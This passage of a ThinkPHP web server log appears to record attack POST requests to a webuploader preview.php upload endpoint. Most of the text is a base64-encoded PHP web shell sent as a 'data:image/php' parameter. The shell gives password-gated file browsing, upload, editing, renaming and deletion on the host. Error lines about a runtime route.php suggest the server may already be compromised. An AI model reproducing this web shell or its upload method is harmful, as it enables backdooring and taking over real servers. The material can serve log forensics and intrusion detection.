ydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:50+08:00 ] 119.42.146.234 POST 59.110.137.245/public/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002882s] [吞吐率:346.98req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgn